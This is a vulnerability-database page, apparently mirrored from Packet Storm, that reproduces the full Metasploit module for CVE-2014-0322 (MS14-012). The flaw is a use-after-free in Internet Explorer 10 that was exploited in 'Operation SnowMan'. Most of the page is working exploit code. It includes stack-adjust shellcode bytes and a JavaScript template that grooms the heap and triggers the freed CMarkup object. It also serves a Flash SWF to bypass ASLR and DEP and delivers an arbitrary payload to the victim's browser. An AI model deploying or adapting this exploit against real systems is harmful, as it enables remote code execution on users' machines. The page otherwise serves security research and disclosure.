MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

🗓️ 16 Apr 2014 00:00:00Reported by juan vazquezType

packetstorm🔗 packetstormsecurity.com👁 59 Views

MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free module exploits a use after free condition on Internet Explorer used in "Operation SnowMan" in February 2014, using Flash Player 12 to bypass ASLR and DEP

Reporter	Title	Published	Views	Family All 51
0day.today	Internet Explorer 10 & Adobe Flash Player (12.0.0.70, 12.0.0.77) - CMarkup Use-After-Free	15 Apr 201400:00	–	zdt
0day.today	MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free	16 Apr 201400:00	–	zdt
Tenable Nessus	Microsoft Internet Explorer 6 through 11 Arbitrary Code Execution	29 Apr 201400:00	–	nessus
Tenable Nessus	MS KB2934088: Vulnerability in Internet Explorer Could Allow Remote Code Execution	20 Feb 201400:00	–	nessus
Tenable Nessus	MS14-012: Cumulative Security Update for Internet Explorer (2925418)	11 Mar 201400:00	–	nessus
ATTACKERKB	CVE-2014-0322	14 Feb 201400:00	–	attackerkb
ATTACKERKB	Microsoft Internet Explorer Use-After-Free Vulnerability	14 Feb 201400:00	–	attackerkb
Circl	CVE-2014-0322	14 Feb 201410:09	–	circl
CISA KEV Catalog	Microsoft Internet Explorer Use-After-Free Vulnerability	4 May 202200:00	–	cisa_kev
Check Point Advisories	Microsoft Internet Explorer Use-After-Free Code Execution (CVE-2014-0322)	15 Feb 201400:00	–	checkpoint_advisories

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",  
'Description' => %q{  
This module exploits an use after free condition on Internet Explorer as used in the wild  
on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to  
bypass ASLR and finally DEP.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery and Exploit in the wild  
'Jean-Jamil Khalife', # Exploit  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2014-0322' ],  
[ 'MSB', 'MS14-012' ],  
[ 'BID', '65551' ],  
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],  
[ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'Space' => 960,  
'DisableNops' => true,  
'PrependEncoder' => stack_adjust  
},  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => Msf::OperatingSystems::WINDOWS,  
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,  
:ua_name => Msf::HttpClients::IE,  
:ua_ver => '10.0',  
:mshtml_build => lambda { |ver| ver.to_i < 16843 },  
:flash => /^12\./  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
'Retries' => false  
},  
'Targets' =>  
[  
[ 'Windows 7 SP1 / IE 10 / FP 12', { } ],  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 13 2014",  
'DefaultTarget' => 0))  
  
end  
  
def stack_adjust  
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb  
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
  
adjust  
end  
  
def create_swf  
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )  
fd = ::File.open( path, "rb" )  
swf = fd.read(fd.stat.size)  
fd.close  
return swf  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def on_request_uri(cli, request)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending SWF...")  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})  
return  
end  
  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Sending HTML...")  
send_exploit_html(cli, exploit_template(cli, target_info))  
end  
  
def exploit_template(cli, target_info)  
  
flash_payload = ""  
get_payload(cli,target_info).unpack("V*").each do |i|  
flash_payload << "0x#{i.to_s(16)},"  
end  
flash_payload.gsub!(/,$/, "")  
  
html_template = %Q|  
<html>  
<head>  
</head>  
<body>  
  
<script>  
  
var g_arr = [];  
var arrLen = 0x250;  
  
function dword2data(dword)  
{  
var d = Number(dword).toString(16);  
while (d.length < 8)  
d = '0' + d;  
  
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));  
}  
  
function eXpl()  
{  
var a=0;  
  
for (a=0; a < arrLen; a++) {  
g_arr[a] = document.createElement('div');  
}  
  
var b = dword2data(0x19fffff3);  
  
while (b.length < 0x360) {  
if (b.length == (0x98 / 2))  
{  
b += dword2data(0x1a000010);  
}  
else if (b.length == (0x94 / 2))  
{  
b += dword2data(0x1a111111);  
}  
else if (b.length == (0x15c / 2))  
{  
b += dword2data(0x42424242);  
}  
else  
{  
b += dword2data(0x19fffff3);  
}  
}  
  
var d = b.substring(0, ( 0x340 - 2 )/2);  
  
try{  
this.outerHTML=this.outerHTML  
} catch(e){  
  
}  
  
CollectGarbage();  
  
for (a=0; a < arrLen; a++)  
{  
g_arr[a].title = d.substring(0, d.length);  
}  
}  
  
function trigger()  
{  
var a = document.getElementsByTagName("script");  
var b = a[0];  
b.onpropertychange = eXpl;  
var c = document.createElement('SELECT');  
c = b.appendChild(c);  
}  
  
</script>  
<embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">  
</embed>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
end  
`

16 Apr 2014 00:00Current

0.1Low risk

Vulners AI Score0.1

EPSS0.92968